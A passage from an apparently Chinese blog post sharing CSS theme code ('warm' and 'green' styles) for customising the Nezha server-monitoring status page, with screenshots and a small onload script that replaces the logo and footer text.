        margin: -3px .91428571em 0 0 !important;
        -webkit-transform-origin: right 50% !important;
        transform-origin: right 50% !important;
    }

    .ui.right.center.popup:before,
    .ui.left.center.popup:before {
        border: 0px solid #fafafaeb !important;
        background: #fafafaeb !important;
    }

    .ui.top.popup:before {
        border-color: #fafafaeb transparent transparent !important;
    }

    .ui.popup:before {
        border-color: #fafafaeb transparent transparent !important;
    }

    .ui.bottom.left.popup:before {
        border-radius: 0 !important;
        border: 1px solid transparent !important;
        border-color: #fafafaeb transparent transparent !important;
        background: #fafafaeb !important;
        -webkit-box-shadow: 0px 0px 0 0 #fafafaeb !important;
        box-shadow: 0px 0px 0 0 #fafafaeb !important;
        -webkit-tap-highlight-color: rgba(0,0,0,0) !important;
        z-index:100;
    }

    .ui.bottom.right.popup:before {
        border-radius: 0 !important;
        border: 1px solid transparent !important;
        border-color: #fafafaeb transparent transparent !important;
        background: #fafafaeb !important
        -webkit-box-shadow: 0px 0px 0 0 #fafafaeb !important;
        box-shadow: 0px 0px 0 0 #fafafaeb !important;
        -webkit-tap-highlight-color: rgba(0,0,0,0) !important;
        z-index:100;
    }

    .ui.top.left.popup:before {
        border-radius: 0 !important;
        border: 1px solid transparent !important;
        border-color: #fafafaeb transparent transparent !important;
        background: #fafafaeb !important;
        -webkit-box-shadow: 0px 0px 0 0 #fafafaeb !important;
        box-shadow: 0px 0px 0 0 #fafafaeb !important;
        -webkit-tap-highlight-color: rgba(0,0,0,0) !important;
        z-index:100;
    }

    .ui.top.right.popup:before {
        border-radius: 0 !important;
        border: 1px solid transparent !important;
        border-color: #fafafaeb transparent transparent !important;
        background: #fafafaeb !important;
        -webkit-box-shadow: 0px 0px 0 0 #fafafaeb !important;
        box-shadow: 0px 0px 0 0 #fafafaeb !important;
        -webkit-tap-highlight-color: rgba(0,0,0,0) !important;
        z-index:100;
    }

    .ui.left.center.popup:before {
        border-radius: 0 !important;
        border: 1px solid transparent !important;
        border-color: #fafafaeb transparent transparent !important;
        background: #fafafaeb !important;
        -webkit-box-shadow: 0px 0px 0 0 #fafafaeb !important;
        box-shadow: 0px 0px 0 0 #fafafaeb !important;
        -webkit-tap-highlight-color: rgba(0,0,0,0) !important;
        z-index:100;
    }

    /* 弹出卡片 */
    .status.cards .ui.content.popup {
        min-width: 20rem !important;
        line-height: 2rem !important;
        border-radius: 10px !important;
        border: 1px solid transparent !important;
        background-color: #fafafaeb !important;
        font-family: Arial,Helvetica,sans-serif !important;
        z-index:100;
    }

    .ui.content {
        margin: 0 !important;
        padding: 1em !important;
        z-index:100;
    }

    /* 服务页 */
    .ui.table {
        background: RGB(225,225,225,0.6) !important;
        backdrop-filter: blur(10px);
        -webkit-backdrop-filter: blur(10px);
        border-radius: 1em;
    }

    .ui.table thead th {
        background: transparent !important;
    }

    /* 服务页进度条 */
    .service-status .good {
        background-color: #21ba45 !important;
    }

    .service-status .danger {
        background-color: red !important;
    }

    .service-status .warning {
        background-color: orange !important;
    }

    /* 版权 */
    .ui.inverted.segment, .ui.primary.inverted.segment {
        color: #000 !important;
        font-weight: bold !important;
        background-color: #fafafaa3 !important;
    }


    nezha-secondary-font info circle icon{
        z-index: 100;
    }
&lt;/style&gt;

&lt;!--Logo和版权--&gt;
&lt;script&gt;
    window.onload = function(){
        var avatar=document.querySelector(&quot;.item img&quot;)
        var footer=document.querySelector(&quot;div.is-size-7&quot;)
        footer.innerHTML=&quot;KD Status&quot;
        footer.style.visibility=&quot;visible&quot;
        avatar.src=&quot;https://www.kindyear.cn/kdstatus.ico&quot;
        avatar.style.visibility=&quot;visible&quot;
    }
&lt;/script&gt;
</code></pre>
<h1>3. 暖色</h1>
<p><img src="https://casear.net/static/img/33d2d0554f1141e4b6853afac17d4edd.image.webp" alt="image.png"></p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>&lt;style&gt;
<span class="hljs-comment">/* 屏幕适配 */</span>
<span class="hljs-keyword">@media</span> <span class="hljs-keyword">only</span> screen <span class="hljs-keyword">and</span> (<span class="hljs-attribute">min-width</span>: <span class="hljs-number">1200px</span>) {
    <span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.container</span> {
    <span class="hljs-attribute">width</span>: <span class="hljs-number">80%</span> <span class="hljs-meta">!important</span>;
}
}

<span class="hljs-keyword">@media</span> <span class="hljs-keyword">only</span> screen <span class="hljs-keyword">and</span> (<span class="hljs-attribute">max-width</span>: <span class="hljs-number">767px</span>) {
    <span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.card</span>&gt;<span class="hljs-selector-class">.content</span>&gt;<span class="hljs-selector-class">.header</span><span class="hljs-selector-pseudo">:not</span>(<span class="hljs-selector-class">.ui</span>), <span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.cards</span>&gt;<span class="hljs-selector-class">.card</span>&gt;<span class="hljs-selector-class">.content</span>&gt;<span class="hljs-selector-class">.header</span><span class="hljs-selector-pseudo">:not</span>(<span class="hljs-selector-class">.ui</span>) {
        <span class="hljs-attribute">margin-top</span>: <span class="hljs-number">0.4em</span> <span class="hljs-meta">!important</span>;
    }
}

<span class="hljs-comment">/* 整体图标 */</span>
<span class="hljs-selector-tag">i</span><span class="hljs-selector-class">.icon</span> {
    <span class="hljs-attribute">color</span>: <span class="hljs-number">#000</span>;
    <span class="hljs-attribute">width</span>: <span class="hljs-number">1em</span> <span class="hljs-meta">!important</span>;
}

<span class="hljs-comment">/* 背景图片 */</span>
<span class="hljs-selector-tag">body</span> {
    <span class="hljs-attribute">content</span>: <span class="hljs-string">&quot; &quot;</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">background</span>: fixed <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">z-index</span>: -<span class="hljs-number">1</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">top</span>: <span class="hljs-number">0</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">right</span>: <span class="hljs-number">0</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">bottom</span>: <span class="hljs-number">0</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">left</span>: <span class="hljs-number">0</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">background-position</span>: top <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">background-repeat</span>: no-repeat <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">background-size</span>: cover <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">background-image</span>: <span class="hljs-built_in">url</span>(<span class="hljs-string">https://www.yiyangv.cn/other/tx.jpg</span>) <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">font-family</span>: Arial,Helvetica,sans-serif <span class="hljs-meta">!important</span>;
}
<span class="hljs-comment">/* 进度条 */</span>
<span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.progress</span> {
    <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">0.5rem</span> <span class="hljs-meta">!important</span>;
}

<span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.progress</span> <span class="hljs-selector-class">.bar</span> {
    <span class="hljs-attribute">min-width</span>: <span class="hljs-number">1.8em</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">0.5rem</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">line-height</span>: <span class="hljs-number">1.65em</span> <span class="hljs-meta">!important</span>;
}

<span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.fine</span><span class="hljs-selector-class">.progress</span>&gt; <span class="hljs-selector-class">.bar</span> {
    
}

<span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.progress</span>&gt; <span class="hljs-selector-class">.bar</span> {
   
}

<span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.progress</span><span class="hljs-selector-class">.fine</span> <span class="hljs-selector-class">.bar</span> {
    
}

<span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.progress</span><span class="hljs-selector-class">.warning</span> <span class="hljs-selector-class">.bar</span> {
    
}

<span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.progress</span><span class="hljs-selector-class">.error</span> <span class="hljs-selector-class">.bar</span> {
    
}

<span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.progress</span><span class="hljs-selector-class">.offline</span> <span class="hljs-selector-class">.bar</span> {
    
}
<span class="hljs-comment">/* 导航栏 */</span>
<span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.large</span><span class="hljs-selector-class">.menu</span> {
    <span class="hljs-attribute">border</span>: <span class="hljs-number">0</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">0rem</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">background-color</span>: <span class="hljs-built_in">rgba</span>(<span class="hljs-number">255</span>, <span class="hljs-number">255</span>, <span class="hljs-number">255</span>, <span class="hljs-number">55%</span>) <span class="hljs-meta">!important</span>;
}

<span class="hljs-comment">/* 首页按钮 */</span>
<span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.menu</span> <span class="hljs-selector-class">.active</span><span class="hljs-selector-class">.item</span> {
    <span class="hljs-attribute">background-color</span>: transparent <span class="hljs-meta">!important</span>;
}

<span class="hljs-comment">/* 导航栏下拉框 */</span>
<span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.dropdown</span> <span class="hljs-selector-class">.menu</span> {
    <span class="hljs-attribute">border</span>: <span class="hljs-number">0</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">1rem</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">background-color</span>: <span class="hljs-built_in">rgba</span>(<span class="hljs-number">255</span>, <span class="hljs-number">255</span>, <span class="hljs-number">255</span>, <span class="hljs-number">80%</span>) <span class="hljs-meta">!important</span>;
}

<span class="hljs-comment">/* 登陆按钮 */</span>
<span class="hljs-selector-class">.nezha-primary-btn</span> {
    <span class="hljs-attribute">background-color</span>: transparent <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">color</span>: <span class="hljs-number">#000</span> <span class="hljs-meta">!important</span>;
}

<span class="hljs-comment">/* 大卡片 */</span>
<span class="hljs-selector-id">#app</span> <span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.fluid</span><span class="hljs-selector-class">.accordion</span> {
    <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#fbfbfb26</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">1rem</span> <span class="hljs-meta">!important</span>;
}

<span class="hljs-comment">/* 小卡片 */</span>
<span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.four</span><span class="hljs-selector-class">.cards</span>&gt;<span class="hljs-selector-class">.card</span> {

    <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#fafafaa3</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">1rem</span> <span class="hljs-meta">!important</span>;
}

<span class="hljs-selector-class">.status</span><span class="hljs-selector-class">.cards</span> <span class="hljs-selector-class">.wide</span><span class="hljs-selector-class">.column</span> {
    <span class="hljs-attribute">padding-top</span>: <span class="hljs-number">0</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">padding-bottom</span>: <span class="hljs-number">0</span> <span class="hljs-meta">!important</span>;

}

<span class="hljs-selector-class">.status</span><span class="hljs-selector-class">.cards</span> <span class="hljs-selector-class">.three</span><span class="hljs-selector-class">.wide</span><span class="hljs-selector-class">.column</span> {

}

<span class="hljs-selector-class">.status</span><span class="hljs-selector-class">.cards</span> <span class="hljs-selector-class">.wide</span><span class="hljs-selector-class">.column</span><span class="hljs-selector-pseudo">:nth-child</span>(<span class="hljs-number">1</span>) {

}

<span class="hljs-selector-class">.status</span><span class="hljs-selector-class">.cards</span> <span class="hljs-selector-class">.wide</span><span class="hljs-selector-class">.column</span><span class="hljs-selector-pseudo">:nth-child</span>(<span class="hljs-number">2</span>) {

}

<span class="hljs-selector-class">.status</span><span class="hljs-selector-class">.cards</span> <span class="hljs-selector-class">.description</span> {

}

<span class="hljs-comment">/* 小鸡名 */</span>
<span class="hljs-selector-class">.status</span><span class="hljs-selector-class">.cards</span> <span class="hljs-selector-class">.flag</span> {
    <span class="hljs-attribute">margin-right</span>: <span class="hljs-number">0.5rem</span> <span class="hljs-meta">!important</span>;
}



<span class="hljs-comment">/* 上传下载 */</span>
<span class="hljs-selector-class">.status</span><span class="hljs-selector-class">.cards</span> <span class="hljs-selector-class">.outline</span><span class="hljs-selector-class">.icon</span> {
    <span class="hljs-attribute">margin-right</span>: <span class="hljs-number">1px</span> <span class="hljs-meta">!important</span>;
}

<span class="hljs-selector-tag">i</span><span class="hljs-selector-class">.arrow</span><span class="hljs-selector-class">.alternate</span><span class="hljs-selector-class">.circle</span><span class="hljs-selector-class">.down</span><span class="hljs-selector-class">.outline</span><span class="hljs-selector-class">.icon</span> {
    <span class="hljs-attribute">color</span>: <span class="hljs-number">#21ba45</span> <span class="hljs-meta">!important</span>;
}

<span class="hljs-selector-tag">i</span><span class="hljs-selector-class">.arrow</span><span class="hljs-selector-class">.alternate</span><span class="hljs-selector-class">.circle</span><span class="hljs-selector-class">.up</span><span class="hljs-selector-class">.outline</span><span class="hljs-selector-class">.icon</span> {
    <span class="hljs-attribute">color</span>: red <span class="hljs-meta">!important</span>;
}
<span class="hljs-comment">/* 弹出卡片小箭头 */</span>
<span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.right</span><span class="hljs-selector-class">.center</span><span class="hljs-selector-class">.popup</span> {
    <span class="hljs-attribute">margin</span>: -<span class="hljs-number">3px</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0.914286em</span> <span class="hljs-meta">!important</span>;
    -webkit-<span class="hljs-attribute">transform-origin</span>: left <span class="hljs-number">50%</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">transform-origin</span>: left <span class="hljs-number">50%</span> <span class="hljs-meta">!important</span>;
}

<span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.bottom</span><span class="hljs-selector-class">.left</span><span class="hljs-selector-class">.popup</span> {
    <span class="hljs-attribute">margin-left</span>: <span class="hljs-number">1px</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">margin-top</span>: <span class="hljs-number">3px</span> <span class="hljs-meta">!important</span>;
}

<span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.top</span><span class="hljs-selector-class">.left</span><span class="hljs-selector-class">.popup</span> {
    <span class="hljs-attribute">margin-left</span>: <span class="hljs-number">0</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">10px</span> <span class="hljs-meta">!important</span>;
}

<span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.top</span><span class="hljs-selector-class">.right</span><span class="hljs-selector-class">.popup</span> {
    <span class="hljs-attribute">margin-right</span>: <span class="hljs-number">0</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">8px</span> <span class="hljs-meta">!important</span>;
}

<span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.left</span><span class="hljs-selector-class">.center</span><span class="hljs-selector-class">.popup</span> {
    <span class="hljs-attribute">margin</span>: -<span class="hljs-number">3px</span> .<span class="hljs-number">91428571em</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-meta">!important</span>;
    -webkit-<span class="hljs-attribute">transform-origin</span>: right <span class="hljs-number">50%</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">transform-origin</span>: right <span class="hljs-number">50%</span> <span class="hljs-meta">!important</span>;
}

<span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.right</span><span class="hljs-selector-class">.center</span><span class="hljs-selector-class">.popup</span><span class="hljs-selector-pseudo">:before</span>,
<span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.left</span><span class="hljs-selector-class">.center</span><span class="hljs-selector-class">.popup</span><span class="hljs-selector-pseudo">:before</span> {
    <span class="hljs-attribute">border</span>: <span class="hljs-number">0px</span> solid <span class="hljs-number">#fafafaeb</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">background</span>: <span class="hljs-number">#fafafaeb</span> <span class="hljs-meta">!important</span>;
}

<span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.top</span><span class="hljs-selector-class">.popup</span><span class="hljs-selector-pseudo">:before</span> {
    <span class="hljs-attribute">border-color</span>: <span class="hljs-number">#fafafaeb</span> transparent transparent <span class="hljs-meta">!important</span>;
}

<span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.popup</span><span class="hljs-selector-pseudo">:before</span> {
    <span class="hljs-attribute">border-color</span>: <span class="hljs-number">#fafafaeb</span> transparent transparent <span class="hljs-meta">!important</span>;
}

<span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.bottom</span><span class="hljs-selector-class">.left</span><span class="hljs-selector-class">.popup</span><span class="hljs-selector-pseudo">:before</span> {
    <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">0</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">border</span>: <span class="hljs-number">1px</span> solid transparent <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">border-color</span>: <span class="hljs-number">#fafafaeb</span> transparent transparent <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">background</span>: <span class="hljs-number">#fafafaeb</span> <span class="hljs-meta">!important</span>;
    -webkit-<span class="hljs-attribute">box-shadow</span>: <span class="hljs-number">0px</span> <span class="hljs-number">0px</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">#fafafaeb</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">box-shadow</span>: <span class="hljs-number">0px</span> <span class="hljs-number">0px</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">#fafafaeb</span> <span class="hljs-meta">!important</span>;
    -webkit-tap-highlight-<span class="hljs-attribute">color</span>: <span class="hljs-built_in">rgba</span>(<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>) <span class="hljs-meta">!important</span>;
}

<span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.bottom</span><span class="hljs-selector-class">.right</span><span class="hljs-selector-class">.popup</span><span class="hljs-selector-pseudo">:before</span> {
    <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">0</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">border</span>: <span class="hljs-number">1px</span> solid transparent <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">border-color</span>: <span class="hljs-number">#fafafaeb</span> transparent transparent <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">background</span>: <span class="hljs-number">#fafafaeb</span> <span class="hljs-meta">!important</span>
    -webkit-box-shadow: <span class="hljs-number">0px</span> <span class="hljs-number">0px</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">#fafafaeb</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">box-shadow</span>: <span class="hljs-number">0px</span> <span class="hljs-number">0px</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">#fafafaeb</span> <span class="hljs-meta">!important</span>;
    -webkit-tap-highlight-<span class="hljs-attribute">color</span>: <span class="hljs-built_in">rgba</span>(<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>) <span class="hljs-meta">!important</span>;
}

<span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.top</span><span class="hljs-selector-class">.left</span><span class="hljs-selector-class">.popup</span><span class="hljs-selector-pseudo">:before</span> {
    <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">0</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">border</span>: <span class="hljs-number">1px</span> solid transparent <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">border-color</span>: <span class="hljs-number">#fafafaeb</span> transparent transparent <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">background</span>: <span class="hljs-number">#fafafaeb</span> <span class="hljs-meta">!important</span>;
    -webkit-<span class="hljs-attribute">box-shadow</span>: <span class="hljs-number">0px</span> <span class="hljs-number">0px</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">#fafafaeb</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">box-shadow</span>: <span class="hljs-number">0px</span> <span class="hljs-number">0px</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">#fafafaeb</span> <span class="hljs-meta">!important</span>;
    -webkit-tap-highlight-<span class="hljs-attribute">color</span>: <span class="hljs-built_in">rgba</span>(<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>) <span class="hljs-meta">!important</span>;
}

<span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.top</span><span class="hljs-selector-class">.right</span><span class="hljs-selector-class">.popup</span><span class="hljs-selector-pseudo">:before</span> {
    <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">0</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">border</span>: <span class="hljs-number">1px</span> solid transparent <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">border-color</span>: <span class="hljs-number">#fafafaeb</span> transparent transparent <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">background</span>: <span class="hljs-number">#fafafaeb</span> <span class="hljs-meta">!important</span>;
    -webkit-<span class="hljs-attribute">box-shadow</span>: <span class="hljs-number">0px</span> <span class="hljs-number">0px</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">#fafafaeb</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">box-shadow</span>: <span class="hljs-number">0px</span> <span class="hljs-number">0px</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">#fafafaeb</span> <span class="hljs-meta">!important</span>;
    -webkit-tap-highlight-<span class="hljs-attribute">color</span>: <span class="hljs-built_in">rgba</span>(<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>) <span class="hljs-meta">!important</span>;
}

<span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.left</span><span class="hljs-selector-class">.center</span><span class="hljs-selector-class">.popup</span><span class="hljs-selector-pseudo">:before</span> {
    <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">0</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">border</span>: <span class="hljs-number">1px</span> solid transparent <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">border-color</span>: <span class="hljs-number">#fafafaeb</span> transparent transparent <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">background</span>: <span class="hljs-number">#fafafaeb</span> <span class="hljs-meta">!important</span>;
    -webkit-<span class="hljs-attribute">box-shadow</span>: <span class="hljs-number">0px</span> <span class="hljs-number">0px</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">#fafafaeb</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">box-shadow</span>: <span class="hljs-number">0px</span> <span class="hljs-number">0px</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">#fafafaeb</span> <span class="hljs-meta">!important</span>;
    -webkit-tap-highlight-<span class="hljs-attribute">color</span>: <span class="hljs-built_in">rgba</span>(<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>) <span class="hljs-meta">!important</span>;
}

<span class="hljs-comment">/* 弹出卡片 */</span>
<span class="hljs-selector-class">.status</span><span class="hljs-selector-class">.cards</span> <span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.content</span><span class="hljs-selector-class">.popup</span> {
    <span class="hljs-attribute">min-width</span>: <span class="hljs-number">20rem</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">line-height</span>: <span class="hljs-number">2rem</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">1rem</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">border</span>: <span class="hljs-number">1px</span> solid transparent <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#fafafaeb</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">font-family</span>: Arial,Helvetica,sans-serif <span class="hljs-meta">!important</span>;
}

<span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.content</span> {
    <span class="hljs-attribute">margin</span>: <span class="hljs-number">0</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">padding</span>: <span class="hljs-number">1em</span> <span class="hljs-meta">!important</span>;
}
<span class="hljs-comment">/* 服务页 */</span>
<span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.table</span> {
    <span class="hljs-attribute">background</span>: <span class="hljs-built_in">RGB</span>(<span class="hljs-number">225</span>,<span class="hljs-number">225</span>,<span class="hljs-number">225</span>,<span class="hljs-number">0.6</span>) <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">1rem</span> <span class="hljs-meta">!important</span>;
}

<span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.table</span> <span class="hljs-selector-tag">thead</span> <span class="hljs-selector-tag">th</span> {
    <span class="hljs-attribute">background</span>: transparent <span class="hljs-meta">!important</span>;
}

<span class="hljs-comment">/* 服务页进度条 */</span>
<span class="hljs-selector-class">.service-status</span> <span class="hljs-selector-class">.good</span> {
    
}

<span class="hljs-selector-class">.service-status</span> <span class="hljs-selector-class">.danger</span> {
    
}

<span class="hljs-selector-class">.service-status</span> <span class="hljs-selector-class">.warning</span> {
    
}

<span class="hljs-comment">/* 版权 */</span>
<span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.inverted</span><span class="hljs-selector-class">.segment</span>, <span class="hljs-selector-class">.ui</span><span class="hljs-selector-class">.primary</span><span class="hljs-selector-class">.inverted</span><span class="hljs-selector-class">.segment</span> {
    <span class="hljs-attribute">color</span>: <span class="hljs-number">#000</span> <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">font-weight</span>: bold <span class="hljs-meta">!important</span>;
    <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#fafafaa3</span> <span class="hljs-meta">!important</span>;
}
&lt;/style&gt;

&lt;!<span class="hljs-attr">--Logo</span>和版权--&gt;
&lt;script&gt;
window<span class="hljs-selector-class">.onload</span> = function(){
<span class="hljs-selector-tag">var</span> avatar=document<span class="hljs-selector-class">.querySelector</span>(&quot;<span class="hljs-selector-class">.item</span> <span class="hljs-selector-tag">img</span>&quot;)
<span class="hljs-selector-tag">var</span> <span class="hljs-selector-tag">footer</span>=document<span class="hljs-selector-class">.querySelector</span>(&quot;<span class="hljs-selector-tag">div</span><span class="hljs-selector-class">.is-size-7</span>&quot;)
<span class="hljs-selector-tag">footer</span><span class="hljs-selector-class">.style</span><span class="hljs-selector-class">.visibility</span>=&quot;visible&quot;
avatar<span class="hljs-selector-class">.src</span>=&quot;https://cdn.jsdelivr.net/gh/yiyanger/IMG@<span class="hljs-number">1.1</span>/images/txp.jpg<span class="hljs-string">&quot;
avatar.style.visibility=&quot;</span>visible<span class="hljs-string">&quot;
}
&lt;/script&gt;
</span></code></pre>
<h1>4. 绿色风格</h1>
<p><img src="https://casear.net/static/img/54bd7b0ac6424caa22f6ff2dbe4cce4c.image.webp" alt="image.png"><br>
```css<br>
<style><br>
/* 屏幕适配 */<br>
@media only screen and (min-width: 1200px) {<br>
.ui.container {<br>
width: 80% !important;<br>
}<br>
}</p>
<pre><code>@media only screen and (max-width: 767px) {
    .ui.card&gt;.content&gt;.header:not(.ui), .ui.cards&gt;.card&gt;.content&gt;.header:not(.ui) {
        margin-top: 0.4em !important;
    }
}

/* 整体图标 */
i.icon {
    color: #000;
    width: 1.2em !important;
}

/* 背景图片 */
body {
    content: &quot; &quot; !important;
    background: fixed !important;
    z-index: -1 !important;
    top: 0 !important;
    right: 0 !important;
    bottom: 0 !important;
    left: 0 !important;
    background-position: top !important;
    background-repeat: no-repeat !important;
    background-size: cover !important;
    background-image: url(https://gitee.com/darki/img/raw/master/1631081013043.webp) !important;
    font-family: Arial,Helvetica,sans-serif !important;
}

/* 导航栏 */
.ui.large.menu {
    border: 0 !important;
    border-radius: 0px !important;
    background-color: rgba(255, 255, 255, 55%) !important;
}

/* 首页按钮 */
.ui.menu .active.item {
    background-color: transparent !important;
}

/* 导航栏下拉框 */
.ui.dropdown .menu {
    border: 0 !important;
    border-radius: 0 !important;
    background-color: rgba(255, 255, 255, 80%) !important;
}

/* 登陆按钮 */
.nezha-primary-btn {
    background-color: transparent !important;
    color: #000 !important;
}

/* 大卡片 */
#app .ui.fluid.accordion {
    background-color: #fbfbfb26 !important;
    border-radius: 0.4rem !important;
}

/* 小卡片 */
.ui.four.cards&gt;.card {
    border-radius: 0.6rem !important;
    background-color: #fafafaa3 !important;
}

.status.cards .wide.column {
    padding-top: 0 !important;
    padding-bottom: 0 !important;
    height: 3.3rem !important;
}

.status.cards .three.wide.column {
    padding-right: 0rem !important;
}

.status.cards .wide.column:nth-child(1) {
    margin-top: 2rem !important;
}

.status.cards .wide.column:nth-child(2) {
    margin-top: 2rem !important;
}

.status.cards .description {
    padding-bottom: 0 !important;
}

/* 小鸡名 */
.status.cards .flag {
    margin-right: 0.5rem !important;
}

/* 弹出卡片图标 */
.status.cards .header &gt; .info.icon {
    margin-right: 0 !important;
}

.nezha-secondary-font {
    color: #21ba45 !important;
}

